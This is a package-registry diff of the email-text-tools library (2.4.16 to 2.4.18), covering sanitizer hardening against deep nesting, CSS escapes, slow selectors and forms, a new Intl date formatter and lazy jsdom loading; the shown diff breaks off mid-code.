@postalsys/email-text-tools 2.4.16 → 2.4.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.release-please-manifest.json +1 -1
- package/CHANGELOG.md +14 -0
- package/README.md +12 -0
- package/index.js +10 -3
- package/lib/format-date.js +63 -0
- package/lib/html-to-text.js +5 -3
- package/lib/inline-html.js +2 -12
- package/lib/inline-text.js +2 -12
- package/lib/mime-html.js +306 -146
- package/lib/text-to-html.js +10 -5
- package/package.json +4 -5
- package/test/comprehensive.test.js +4 -2
- package/test/hardening.test.js +364 -0
- package/test/mime-html-extra.test.js +2 -1
- package/test/mime-html.test.js +2 -27
package/CHANGELOG.md
CHANGED
|
@@ -1,5 +1,19 @@
|
|
|
1
1
|
# Changelog
|
|
2
2
|
|
|
3
|
+
## [2.4.18](https://github.com/postalsys/email-text-tools/compare/v2.4.17...v2.4.18) (2026-09-28)
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
### Bug Fixes
|
|
7
|
+
|
|
8
|
+
* keep the text of an over-deep HTML body in the fallback rendering ([a2e06b7](https://github.com/postalsys/email-text-tools/commit/a2e06b75878d3763bb35d225a93225aa6a3f18ab))
|
|
9
|
+
|
|
10
|
+
## [2.4.17](https://github.com/postalsys/email-text-tools/compare/v2.4.16...v2.4.17) (2026-09-28)
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
### Bug Fixes
|
|
14
|
+
|
|
15
|
+
* linear CSS pre-filter, bounded nesting, Intl dates, lazy jsdom, forms removed by the sanitiser ([9ed33c9](https://github.com/postalsys/email-text-tools/commit/9ed33c90b7b8c286b11bfc522baef75899a07325))
|
|
16
|
+
|
|
3
17
|
## [2.4.16](https://github.com/postalsys/email-text-tools/compare/v2.4.15...v2.4.16) (2026-09-07)
|
|
4
18
|
|
|
5
19
|
|
package/README.md
CHANGED
|
@@ -1,3 +1,15 @@
|
|
|
1
1
|
# email-text-tools
|
|
2
2
|
|
|
3
3
|
Email text tools
|
|
4
|
+
|
|
5
|
+
## mimeHtml sanitizer policy
|
|
6
|
+
|
|
7
|
+
`mimeHtml()` sanitizes with DOMPurify and additionally removes:
|
|
8
|
+
|
|
9
|
+
- elements: `title`, `link`, `meta`, `base`, `basefont`, `frame`, `iframe`, `frameset`, `template`, `script`, `noframes`, `noscript`, `object`, `embed`, `dialog`, `canvas`, `audio`, `video`, `applet`, and forms with their controls (`form`, `input`, `button`, `select`, `textarea`; their text content is kept)
|
|
10
|
+
- attributes: `action`, `formaction`, `popover`, `popovertarget`
|
|
11
|
+
- CSS rules whose selector uses `:is()`, `:where()`, `:has()` or a `:not()` containing another pseudo-class, and any `<style>` text beyond 256 KB per message
|
|
12
|
+
|
|
13
|
+
Input nested more than about 1000 elements deep, or that the parser cannot process, is rendered as escaped plain text instead of throwing.
|
|
14
|
+
|
|
15
|
+
Reply/forward date headers from `inlineHtml()` and `inlineText()` are formatted with `Intl.DateTimeFormat` (for example `Sat, Jun 15, 2024, 2:30 PM`). An unsupported locale falls back to English and an unknown time zone to UTC. A Node build without full ICU data only has English.
|
package/index.js
CHANGED
|
@@ -4,12 +4,19 @@ const textToHtml = require('./lib/text-to-html');
|
|
|
4
4
|
const htmlToText = require('./lib/html-to-text');
|
|
5
5
|
const inlineHtml = require('./lib/inline-html');
|
|
6
6
|
const inlineText = require('./lib/inline-text');
|
|
7
|
-
const mimeHtml = require('./lib/mime-html');
|
|
8
7
|
|
|
9
8
|
module.exports = {
|
|
10
9
|
textToHtml,
|
|
11
10
|
htmlToText,
|
|
12
11
|
inlineHtml,
|
|
13
|
-
inlineText
|
|
14
|
-
mimeHtml
|
|
12
|
+
inlineText
|
|
15
13
|
};
|
|
14
|
+
|
|
15
|
+
// mimeHtml loads jsdom, which costs tens of megabytes of heap, so it is only loaded on first
|
|
16
|
+
// access and callers that only need the other helpers never pay for it.
|
|
17
|
+
Object.defineProperty(module.exports, 'mimeHtml', {
|
|
18
|
+
enumerable: true,
|
|
19
|
+
get() {
|
|
20
|
+
return require('./lib/mime-html');
|
|
21
|
+
}
|
|
22
|
+
});
|
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const DATE_FORMAT = {
|
|
4
|
+
weekday: 'short',
|
|
5
|
+
year: 'numeric',
|
|
6
|
+
month: 'short',
|
|
7
|
+
day: 'numeric',
|
|
8
|
+
hour: 'numeric',
|
|
9
|
+
minute: '2-digit'
|
|
10
|
+
};
|
|
11
|
+
|
|
12
|
+
// An unsupported locale would silently fall back to the host's default locale, and a Node build
|
|
13
|
+
// with only English ICU data (pkg binaries use small-icu) renders other locales as broken
|
|
14
|
+
// placeholders such as "M09 28, Mon", so anything not actually supported becomes 'en'.
|
|
15
|
+
function resolveLocale(locale) {
|
|
16
|
+
if (locale) {
|
|
17
|
+
try {
|
|
18
|
+
const supported = Intl.DateTimeFormat.supportedLocalesOf([locale]);
|
|
19
|
+
if (supported.length) {
|
|
20
|
+
return supported[0];
|
|
21
|
+
}
|
|
22
|
+
} catch (_err) {
|
|
23
|
+
// structurally invalid language tag
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
return 'en';
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
/**
|
|
30
|
+
* Formats the date of a quoted message for the reply/forward header, for example
|
|
31
|
+
* "Sat, Jun 15, 2024, 2:30 PM" in English.
|
|
32
|
+
*
|
|
33
|
+
* @param {Date|String|Number} value Date to format
|
|
34
|
+
* @param {Object} [options]
|
|
35
|
+
* @param {String} [options.locale] BCP 47 language tag, defaults to 'en'
|
|
36
|
+
* @param {String} [options.tz] IANA time zone, defaults to the local time zone
|
|
37
|
+
* @returns {String} Formatted date, or the input as text when it is not a valid date
|
|
38
|
+
*/
|
|
39
|
+
function formatDate(value, options) {
|
|
40
|
+
options = options || {};
|
|
41
|
+
const date = value instanceof Date ? value : new Date(value);
|
|
42
|
+
if (isNaN(date.getTime())) {
|
|
43
|
+
return String(value);
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
const locale = resolveLocale(options.locale);
|
|
47
|
+
let formatter;
|
|
48
|
+
try {
|
|
49
|
+
formatter = new Intl.DateTimeFormat(locale, Object.assign({ timeZone: options.tz || undefined }, DATE_FORMAT));
|
|
50
|
+
} catch (err) {
|
|
51
|
+
if (!(err instanceof RangeError)) {
|
|
52
|
+
throw err;
|
|
53
|
+
}
|
|
54
|
+
// an unknown time zone falls back to UTC rather than to whatever zone the host runs in
|
|
55
|
+
formatter = new Intl.DateTimeFormat(locale, Object.assign({ timeZone: 'UTC' }, DATE_FORMAT));
|
|
56
|
+
}
|
|
57
|
+
const formatted = formatter.format(date);
|
|
58
|
+
|
|
59
|
+
// ICU puts a narrow no-break space before "PM", which older mail clients show as a box
|
|
60
|
+
return formatted.replace(/[\u00a0\u202f]/g, ' ');
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
module.exports = formatDate;
|
package/lib/html-to-text.js
CHANGED
|
@@ -42,13 +42,15 @@ const htmlToTextCompiled = compile({
|
|
|
42
42
|
],
|
|
43
43
|
hideLinkHrefIfSameAsText: true,
|
|
44
44
|
// Preserve whitespace better for content
|
|
45
|
-
preserveNewlines: true
|
|
45
|
+
preserveNewlines: true,
|
|
46
|
+
// The DOM walk is recursive, so hostile nesting would overflow the stack. Content below this
|
|
47
|
+
// depth is dropped; real email nests a few dozen levels.
|
|
48
|
+
limits: { maxDepth: 500, ellipsis: '' }
|
|
46
49
|
});
|
|
47
50
|
|
|
48
51
|
// Wrapper function that applies post-processing
|
|
49
52
|
function htmlToText(html) {
|
|
50
|
-
|
|
51
|
-
return cleanupNewlines(text);
|
|
53
|
+
return cleanupNewlines(htmlToTextCompiled(html));
|
|
52
54
|
}
|
|
53
55
|
|
|
54
56
|
module.exports = htmlToText;
|
package/lib/inline-html.js
CHANGED
|
@@ -2,7 +2,7 @@
|
|
|
2
2
|
|
|
3
3
|
const HTMLParser = require('node-html-parser');
|
|
4
4
|
const he = require('he');
|
|
5
|
-
const
|
|
5
|
+
const formatDate = require('./format-date');
|
|
6
6
|
const textToHtml = require('./text-to-html');
|
|
7
7
|
|
|
8
8
|
function getHtmlBody(html) {
|
|
@@ -100,17 +100,7 @@ function inlineHtml(action, messageContent, messageData, options) {
|
|
|
100
100
|
let dateStr = '';
|
|
101
101
|
|
|
102
102
|
if (messageData.date) {
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
if (options.locale) {
|
|
106
|
-
dateElm = dateElm.locale(options.locale);
|
|
107
|
-
}
|
|
108
|
-
|
|
109
|
-
if (options.tz) {
|
|
110
|
-
dateElm = dateElm.tz(options.tz);
|
|
111
|
-
}
|
|
112
|
-
|
|
113
|
-
dateStr = dateElm.format('llll');
|
|
103
|
+
dateStr = formatDate(messageData.date, options);
|
|
114
104
|
|
|
115
105
|
let entry = {
|
|
116
106
|
title: 'Date',
|
package/lib/inline-text.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
'use strict';
|
|
2
2
|
|
|
3
|
-
const
|
|
3
|
+
const formatDate = require('./format-date');
|
|
4
4
|
const htmlToText = require('./html-to-text');
|
|
5
5
|
|
|
6
6
|
function formatAddressText(addr) {
|
|
@@ -79,17 +79,7 @@ function inlineText(type, messageContent, messageData, options) {
|
|
|
79
79
|
let dateStr = '';
|
|
80
80
|
|
|
81
81
|
if (messageData.date) {
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
if (options.locale) {
|
|
85
|
-
dateElm = dateElm.locale(options.locale);
|
|
86
|
-
}
|
|
87
|
-
|
|
88
|
-
if (options.tz) {
|
|
89
|
-
dateElm = dateElm.tz(options.tz);
|
|
90
|
-
}
|
|
91
|
-
|
|
92
|
-
dateStr = dateElm.format('llll');
|
|
82
|
+
dateStr = formatDate(messageData.date, options);
|
|
93
83
|
|
|
94
84
|
let entry = {
|
|
95
85
|
title: 'Date',
|
package/lib/mime-html.js
CHANGED
|
@@ -31,9 +31,18 @@ const FORBID_TAGS = [
|
|
|
31
31
|
'canvas',
|
|
32
32
|
'audio',
|
|
33
33
|
'video',
|
|
34
|
-
'applet'
|
|
34
|
+
'applet',
|
|
35
|
+
// forms and their controls have no use in a displayed message and can be styled to phish
|
|
36
|
+
'form',
|
|
37
|
+
'input',
|
|
38
|
+
'button',
|
|
39
|
+
'select',
|
|
40
|
+
'textarea'
|
|
35
41
|
];
|
|
36
42
|
|
|
43
|
+
// form submission targets and popovers, which let sender markup act on or overlay the viewer
|
|
44
|
+
const FORBID_ATTR = ['action', 'formaction', 'popover', 'popovertarget'];
|
|
45
|
+
|
|
37
46
|
const FORBID_STYLES = [
|
|
38
47
|
'all',
|
|
39
48
|
'position',
|
|
@@ -62,9 +71,28 @@ const FORBID_STYLES = [
|
|
|
62
71
|
'zoom'
|
|
63
72
|
];
|
|
64
73
|
|
|
74
|
+
// Matches the style text of any element that could carry one of FORBID_STYLES
|
|
75
|
+
const FORBID_STYLES_HINT = /position|float|clip|zoom|anim|offset|scrollbar|paint|clear|\ball\b/i;
|
|
76
|
+
|
|
77
|
+
// Resolves CSS escape sequences (\6F, \o) the way a browser does before it matches a property
|
|
78
|
+
// name, so that a forbidden property cannot hide behind an escaped character
|
|
79
|
+
function decodeCssEscapes(value) {
|
|
80
|
+
return value.replace(/\\([0-9a-f]{1,6})[ \t\n\r\f]?|\\(.)/gi, (match, hex, chr) => {
|
|
81
|
+
if (hex) {
|
|
82
|
+
let code = parseInt(hex, 16);
|
|
83
|
+
return code && code <= 0x10ffff ? String.fromCodePoint(code) : '�';
|
|
84
|
+
}
|
|
85
|
+
return chr;
|
|
86
|
+
});
|
|
87
|
+
}
|
|
88
|
+
|
|
65
89
|
// keep the style at first
|
|
66
90
|
const FORBID_TAGS_ALL = ['style'].concat(FORBID_TAGS);
|
|
67
91
|
|
|
92
|
+
// One sanitizer for the module. Every sanitize() call passes its full config, so calls do not
|
|
93
|
+
// leak settings into each other.
|
|
94
|
+
const DOMPurify = createDOMPurify(new JSDOM('').window);
|
|
95
|
+
|
|
68
96
|
// Global worker pool instance (lazy initialization)
|
|
69
97
|
let globalWorkerPool = null;
|
|
70
98
|
|
|
@@ -166,105 +194,192 @@ blockquote blockquote blockquote blockquote{
|
|
|
166
194
|
|
|
167
195
|
</style>`;
|
|
168
196
|
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
197
|
+
// Only this much <style> text is kept per message, the rest is dropped. juice and the selector
|
|
198
|
+
// filter below scale with it, and no legitimate email needs more.
|
|
199
|
+
const MAX_STYLE_TEXT = 256 * 1024;
|
|
200
|
+
|
|
201
|
+
// jsdom builds a tree in time quadratic to its depth (10,000 unclosed <b> tags take about 9 s) and
|
|
202
|
+
// its serializer overflows the stack a few thousand levels down, so deeper input is not parsed at all.
|
|
203
|
+
// Real email nests a few dozen levels.
|
|
204
|
+
const MAX_NESTING_DEPTH = 1000;
|
|
205
|
+
|
|
206
|
+
// Elements that never stay open in HTML content, either void or closed implicitly by a sibling,
|
|
207
|
+
// so they do not add to the depth an HTML parser ends up with. Inside SVG and MathML they can nest,
|
|
208
|
+
// so there every start tag counts.
|
|
209
|
+
const NON_NESTING_TAGS = new Set(
|
|
210
|
+
'area,base,br,col,embed,hr,img,input,keygen,link,meta,param,source,track,wbr,p,li,dt,dd,td,th,tr,tbody,thead,tfoot,colgroup,caption,option,optgroup,rt,rp'.split(
|
|
211
|
+
','
|
|
212
|
+
)
|
|
213
|
+
);
|
|
214
|
+
|
|
215
|
+
// A single linear pass estimating how deep the parsed tree would get. It only ever overestimates
|
|
216
|
+
// (tags inside comments, attribute values and raw text count too), which at worst means an
|
|
217
|
+
// extreme message is shown as plain text.
|
|
218
|
+
function exceedsNestingDepth(html, maxDepth) {
|
|
219
|
+
const tagName = /[a-z][a-z0-9:-]*/iy;
|
|
220
|
+
let depth = 0;
|
|
221
|
+
let foreign = 0;
|
|
222
|
+
let pos = 0;
|
|
223
|
+
while (pos < html.length) {
|
|
224
|
+
const tagStart = html.indexOf('<', pos);
|
|
225
|
+
if (tagStart < 0) {
|
|
226
|
+
break;
|
|
175
227
|
}
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
228
|
+
const tagEnd = html.indexOf('>', tagStart + 1);
|
|
229
|
+
if (tagEnd < 0) {
|
|
230
|
+
break;
|
|
231
|
+
}
|
|
232
|
+
// resume right after the first ">", so no tag the parser would see is ever skipped
|
|
233
|
+
pos = tagEnd + 1;
|
|
234
|
+
|
|
235
|
+
const closing = html.charAt(tagStart + 1) === '/';
|
|
236
|
+
tagName.lastIndex = tagStart + (closing ? 2 : 1);
|
|
237
|
+
const nameMatch = tagName.exec(html);
|
|
238
|
+
if (!nameMatch) {
|
|
239
|
+
continue;
|
|
240
|
+
}
|
|
241
|
+
const name = nameMatch[0].toLowerCase();
|
|
242
|
+
const isForeignRoot = name === 'svg' || name === 'math';
|
|
181
243
|
|
|
182
|
-
|
|
244
|
+
if (closing) {
|
|
245
|
+
if (isForeignRoot && foreign > 0) {
|
|
246
|
+
foreign--;
|
|
247
|
+
}
|
|
248
|
+
if (depth > 0 && (foreign || !NON_NESTING_TAGS.has(name))) {
|
|
249
|
+
depth--;
|
|
250
|
+
}
|
|
251
|
+
continue;
|
|
252
|
+
}
|
|
183
253
|
|
|
184
|
-
|
|
185
|
-
|
|
254
|
+
if (!foreign && NON_NESTING_TAGS.has(name)) {
|
|
255
|
+
continue;
|
|
256
|
+
}
|
|
186
257
|
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
// Remove any style tags from within body content
|
|
193
|
-
const bodyStyleTags = tempDoc.body ? tempDoc.body.querySelectorAll('style') : [];
|
|
194
|
-
bodyStyleTags.forEach(tag => tag.remove());
|
|
195
|
-
|
|
196
|
-
// Process remaining style tags to remove known problematic selectors
|
|
197
|
-
const styleTags = tempDoc.querySelectorAll('style');
|
|
198
|
-
styleTags.forEach(styleTag => {
|
|
199
|
-
let cssContent = styleTag.textContent;
|
|
200
|
-
|
|
201
|
-
// Remove rules with known problematic pseudo-classes
|
|
202
|
-
const problematicSelectors = [':is\\(', ':where\\(', ':has\\(', ':not\\(.*:.*\\)'];
|
|
203
|
-
problematicSelectors.forEach(selector => {
|
|
204
|
-
const regex = new RegExp(`[^{}]*${selector}[^{}]*\\{[^}]*\\}`, 'gi');
|
|
205
|
-
cssContent = cssContent.replace(regex, '');
|
|
206
|
-
});
|
|
207
|
-
|
|
208
|
-
styleTag.textContent = cssContent;
|
|
209
|
-
});
|
|
258
|
+
// a self-closing flag is ignored on HTML elements, only SVG and MathML honor it
|
|
259
|
+
if ((foreign || isForeignRoot) && html.charAt(tagEnd - 1) === '/') {
|
|
260
|
+
continue;
|
|
261
|
+
}
|
|
210
262
|
|
|
211
|
-
|
|
263
|
+
if (isForeignRoot) {
|
|
264
|
+
foreign++;
|
|
265
|
+
}
|
|
212
266
|
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
267
|
+
depth++;
|
|
268
|
+
if (depth > maxDepth) {
|
|
269
|
+
return true;
|
|
270
|
+
}
|
|
217
271
|
}
|
|
272
|
+
return false;
|
|
273
|
+
}
|
|
218
274
|
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
275
|
+
// Rendered in place of the sanitized HTML when the pipeline cannot process the input at all, for
|
|
276
|
+
// example when a hostile nesting depth overflows the stack of the parser or the serializer.
|
|
277
|
+
// The text of an HTML body for the fallback rendering. The fallback runs when the HTML could
|
|
278
|
+
// not be processed (hostile nesting, a parser or serializer overflow), so it cannot lean on a
|
|
279
|
+
// real HTML parser either: html-to-text gives up on a body nested past its own limit and
|
|
280
|
+
// returned nothing for exactly the input that lands here. One pass over the string: tags become
|
|
281
|
+
// a space, style and script blocks are dropped whole, entities are decoded once
|
|
282
|
+
function fallbackText(html) {
|
|
283
|
+
const lower = html.toLowerCase();
|
|
284
|
+
const parts = [];
|
|
285
|
+
let pos = 0;
|
|
286
|
+
while (pos < html.length) {
|
|
287
|
+
const lt = html.indexOf('<', pos);
|
|
288
|
+
if (lt < 0) {
|
|
289
|
+
parts.push(html.slice(pos));
|
|
290
|
+
break;
|
|
291
|
+
}
|
|
292
|
+
parts.push(html.slice(pos, lt));
|
|
293
|
+
const gt = html.indexOf('>', lt + 1);
|
|
294
|
+
if (gt < 0) {
|
|
295
|
+
// an unterminated tag runs to the end of the input
|
|
296
|
+
break;
|
|
297
|
+
}
|
|
298
|
+
const name = /^(style|script)(?:[\s/]|$)/.exec(lower.slice(lt + 1, gt));
|
|
299
|
+
if (name) {
|
|
300
|
+
const close = lower.indexOf('</' + name[1], gt + 1);
|
|
301
|
+
const closeEnd = close < 0 ? -1 : html.indexOf('>', close);
|
|
302
|
+
if (closeEnd < 0) {
|
|
303
|
+
break;
|
|
304
|
+
}
|
|
305
|
+
pos = closeEnd + 1;
|
|
306
|
+
} else {
|
|
307
|
+
pos = gt + 1;
|
|
308
|
+
}
|
|
309
|
+
parts.push(' ');
|
|
230
310
|
}
|
|
311
|
+
return he.decode(parts.join(''));
|
|
312
|
+
}
|
|
231
313
|
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
dom.style.removeProperty('height');
|
|
240
|
-
dom.style.removeProperty('min-height');
|
|
241
|
-
dom.style.removeProperty('max-height');
|
|
314
|
+
function fallbackHtml(message) {
|
|
315
|
+
let text = message.text;
|
|
316
|
+
if (!text && message.html) {
|
|
317
|
+
text = fallbackText(message.html.toString());
|
|
318
|
+
}
|
|
319
|
+
return `<div style="overflow: auto;"><div style="white-space: pre-wrap;">${he.encode((text || '').toString(), { useNamedReferences: true })}</div></div>`;
|
|
320
|
+
}
|
|
242
321
|
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
322
|
+
// True when a :not( argument contains another colon. Such selectors, like :is(), :where() and
|
|
323
|
+
// :has(), can make juice hang. A single pass with a paren counter keeps this linear, the regex
|
|
324
|
+
// it replaces backtracked catastrophically on a few hundred bytes of repeated ":not(a:b)".
|
|
325
|
+
function hasNotWithPseudo(selector) {
|
|
326
|
+
// paren depth just inside the open :not(, 0 when there is none. Any colon inside it is a
|
|
327
|
+
// match, so a nested :not( never needs tracking.
|
|
328
|
+
let notDepth = 0;
|
|
329
|
+
let depth = 0;
|
|
330
|
+
for (let i = 0; i < selector.length; i++) {
|
|
331
|
+
const c = selector.charAt(i);
|
|
332
|
+
if (c === ':') {
|
|
333
|
+
if (notDepth) {
|
|
334
|
+
return true;
|
|
248
335
|
}
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
336
|
+
if (selector.substr(i + 1, 4).toLowerCase() === 'not(') {
|
|
337
|
+
depth++;
|
|
338
|
+
notDepth = depth;
|
|
339
|
+
i += 4;
|
|
340
|
+
}
|
|
341
|
+
} else if (c === '(') {
|
|
342
|
+
depth++;
|
|
343
|
+
} else if (c === ')') {
|
|
344
|
+
if (depth === notDepth) {
|
|
345
|
+
notDepth = 0;
|
|
346
|
+
}
|
|
347
|
+
if (depth > 0) {
|
|
348
|
+
depth--;
|
|
256
349
|
}
|
|
257
350
|
}
|
|
258
|
-
}
|
|
259
|
-
|
|
351
|
+
}
|
|
352
|
+
return false;
|
|
353
|
+
}
|
|
260
354
|
|
|
261
|
-
|
|
355
|
+
function isProblematicSelector(selector) {
|
|
356
|
+
const lower = selector.toLowerCase();
|
|
357
|
+
return lower.includes(':is(') || lower.includes(':where(') || lower.includes(':has(') || hasNotWithPseudo(selector);
|
|
358
|
+
}
|
|
262
359
|
|
|
263
|
-
|
|
264
|
-
|
|
360
|
+
// Drops every rule whose selector could make juice hang. The text is split into rules on "}" and
|
|
361
|
+
// the selector of each rule is the text between the last two "{" in it, so a rule nested in an
|
|
362
|
+
// at-rule is dropped without its enclosing block.
|
|
363
|
+
function filterCss(css) {
|
|
364
|
+
if (!/:(is|where|has|not)\(/i.test(css)) {
|
|
365
|
+
return css;
|
|
366
|
+
}
|
|
367
|
+
const pieces = css.split('}');
|
|
368
|
+
const output = [];
|
|
369
|
+
for (let i = 0; i < pieces.length; i++) {
|
|
370
|
+
const piece = pieces[i];
|
|
371
|
+
const isLast = i === pieces.length - 1;
|
|
372
|
+
const ruleStart = isLast ? -1 : piece.lastIndexOf('{');
|
|
373
|
+
const selectorStart = ruleStart < 0 ? 0 : piece.lastIndexOf('{', ruleStart - 1) + 1;
|
|
374
|
+
const drop = ruleStart >= 0 && isProblematicSelector(piece.substring(selectorStart, ruleStart));
|
|
375
|
+
output.push(drop ? piece.substring(0, selectorStart) : isLast ? piece : piece + '}');
|
|
376
|
+
}
|
|
377
|
+
return output.join('');
|
|
265
378
|
}
|
|
266
379
|
|
|
267
|
-
|
|
380
|
+
// Sanitizes the whole document and strips the CSS juice is known to choke on. Returns the HTML
|
|
381
|
+
// to run juice on and whether any style text is left for juice to inline.
|
|
382
|
+
function prepareHtml(message) {
|
|
268
383
|
let html = message.html;
|
|
269
384
|
if (!html && message.text) {
|
|
270
385
|
html = textToHtml(message.text) || '';
|
|
@@ -275,57 +390,47 @@ async function mimeHtmlAsync(message, options = {}) {
|
|
|
275
390
|
|
|
276
391
|
html = (html || '').toString().replace(/^"data:[^"]+"/g, '');
|
|
277
392
|
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
// first pass, outputs a fixed HTML page
|
|
282
|
-
html = DOMPurify.sanitize(html, { WHOLE_DOCUMENT: true, FORCE_BODY: false, FORBID_TAGS });
|
|
283
|
-
|
|
284
|
-
try {
|
|
285
|
-
// Pre-process HTML to remove known problematic CSS that causes juice to hang
|
|
286
|
-
// This is the same filtering as the sync version to avoid unnecessary timeouts
|
|
287
|
-
const tempDoc = new JSDOM(html).window.document;
|
|
288
|
-
|
|
289
|
-
// Remove any style tags from within body content
|
|
290
|
-
const bodyStyleTags = tempDoc.body ? tempDoc.body.querySelectorAll('style') : [];
|
|
291
|
-
bodyStyleTags.forEach(tag => tag.remove());
|
|
292
|
-
|
|
293
|
-
// Process remaining style tags to remove known problematic selectors
|
|
294
|
-
const styleTags = tempDoc.querySelectorAll('style');
|
|
295
|
-
styleTags.forEach(styleTag => {
|
|
296
|
-
let cssContent = styleTag.textContent;
|
|
297
|
-
|
|
298
|
-
// Remove rules with known problematic pseudo-classes
|
|
299
|
-
const problematicSelectors = [':is\\(', ':where\\(', ':has\\(', ':not\\(.*:.*\\)'];
|
|
300
|
-
problematicSelectors.forEach(selector => {
|
|
301
|
-
const regex = new RegExp(`[^{}]*${selector}[^{}]*\\{[^}]*\\}`, 'gi');
|
|
302
|
-
cssContent = cssContent.replace(regex, '');
|
|
303
|
-
});
|
|
304
|
-
|
|
305
|
-
styleTag.textContent = cssContent;
|
|
306
|
-
});
|
|
307
|
-
|
|
308
|
-
html = tempDoc.documentElement.outerHTML;
|
|
309
|
-
|
|
310
|
-
// Use worker thread with timeout for juice - provides protection against ANY
|
|
311
|
-
// unexpected CSS that might cause hangs (beyond our known problematic selectors)
|
|
312
|
-
html = await juiceWithTimeout(html, options);
|
|
313
|
-
} catch (err) {
|
|
314
|
-
// If juice fails or times out, continue without inlining styles
|
|
315
|
-
// The HTML is still usable, just without inlined CSS
|
|
316
|
-
// Note: logErrors option can be used to control error visibility
|
|
393
|
+
if (exceedsNestingDepth(html, MAX_NESTING_DEPTH)) {
|
|
394
|
+
throw new Error('HTML is nested too deep to process');
|
|
395
|
+
}
|
|
317
396
|
|
|
318
|
-
|
|
319
|
-
|
|
397
|
+
// first pass, returns the <html> element of the fixed HTML page
|
|
398
|
+
const root = DOMPurify.sanitize(html, { WHOLE_DOCUMENT: true, FORCE_BODY: false, FORBID_TAGS, FORBID_ATTR, RETURN_DOM: true });
|
|
399
|
+
|
|
400
|
+
// Remove any style tags from within body content
|
|
401
|
+
const body = root.querySelector('body');
|
|
402
|
+
const bodyStyleTags = body ? body.querySelectorAll('style') : [];
|
|
403
|
+
bodyStyleTags.forEach(tag => tag.remove());
|
|
404
|
+
|
|
405
|
+
// Process remaining style tags to remove known problematic selectors
|
|
406
|
+
let styleBudget = MAX_STYLE_TEXT;
|
|
407
|
+
let hasStyle = false;
|
|
408
|
+
root.querySelectorAll('style').forEach(styleTag => {
|
|
409
|
+
let cssContent = styleTag.textContent || '';
|
|
410
|
+
if (cssContent.length > styleBudget) {
|
|
411
|
+
// cut after the last complete rule, a partial rule would skip the selector filter
|
|
412
|
+
cssContent = styleBudget > 0 ? cssContent.substring(0, cssContent.lastIndexOf('}', styleBudget - 1) + 1) : '';
|
|
320
413
|
}
|
|
321
|
-
|
|
414
|
+
styleBudget -= cssContent.length;
|
|
415
|
+
cssContent = filterCss(cssContent);
|
|
416
|
+
styleTag.textContent = cssContent;
|
|
417
|
+
if (cssContent.trim()) {
|
|
418
|
+
hasStyle = true;
|
|
419
|
+
}
|
|
420
|
+
});
|
|
322
421
|
|
|
422
|
+
return { html: root.outerHTML, hasStyle };
|
|
423
|
+
}
|
|
424
|
+
|
|
425
|
+
// Second sanitization pass and post-processing of the juice output.
|
|
426
|
+
function finishHtml(html) {
|
|
323
427
|
// second pass, outputs a BODY DOM element
|
|
324
428
|
const dom = DOMPurify.sanitize(html, {
|
|
325
429
|
RETURN_DOM: true,
|
|
326
430
|
WHOLE_DOCUMENT: false,
|
|
327
431
|
FORCE_BODY: true,
|
|
328
|
-
FORBID_TAGS: FORBID_TAGS_ALL
|
|
432
|
+
FORBID_TAGS: FORBID_TAGS_ALL,
|
|
433
|
+
FORBID_ATTR
|
|
329
434
|
});
|
|
330
435
|
|
|
331
436
|
// mark all links to be opened in a new window
|
|
@@ -343,23 +448,25 @@ async function mimeHtmlAsync(message, options = {}) {
|
|
|
343
448
|
dom.style.removeProperty('min-height');
|
|
344
449
|
dom.style.removeProperty('max-height');
|
|
345
450
|
|
|
346
|
-
// remove specific style properties
|
|
347
|
-
|
|
348
|
-
if (node.style) {
|
|
451
|
+
// remove specific style properties, touching the CSSOM only where the style text could name one
|
|
452
|
+
for (const node of [dom, ...dom.querySelectorAll('[style]')]) {
|
|
453
|
+
if (!node.style) {
|
|
454
|
+
continue;
|
|
455
|
+
}
|
|
456
|
+
let styleText = node.getAttribute('style') || '';
|
|
457
|
+
if (styleText.indexOf('\\') >= 0) {
|
|
458
|
+
// A browser resolves CSS escapes in property names (p\osition is position) but jsdom's
|
|
459
|
+
// CSSOM does not, so the check below would miss them. Decode first and write the
|
|
460
|
+
// decoded text back so the CSSOM sees the same properties the browser will
|
|
461
|
+
styleText = decodeCssEscapes(styleText);
|
|
462
|
+
node.setAttribute('style', styleText);
|
|
463
|
+
}
|
|
464
|
+
if (FORBID_STYLES_HINT.test(styleText)) {
|
|
349
465
|
for (let disallowedStyle of FORBID_STYLES) {
|
|
350
466
|
node.style.removeProperty(disallowedStyle);
|
|
351
467
|
}
|
|
352
468
|
}
|
|
353
|
-
|
|
354
|
-
if (node.childNodes) {
|
|
355
|
-
// Convert NodeList to array to avoid infinite loops if DOM changes during iteration
|
|
356
|
-
const children = Array.from(node.childNodes);
|
|
357
|
-
for (let childNode of children) {
|
|
358
|
-
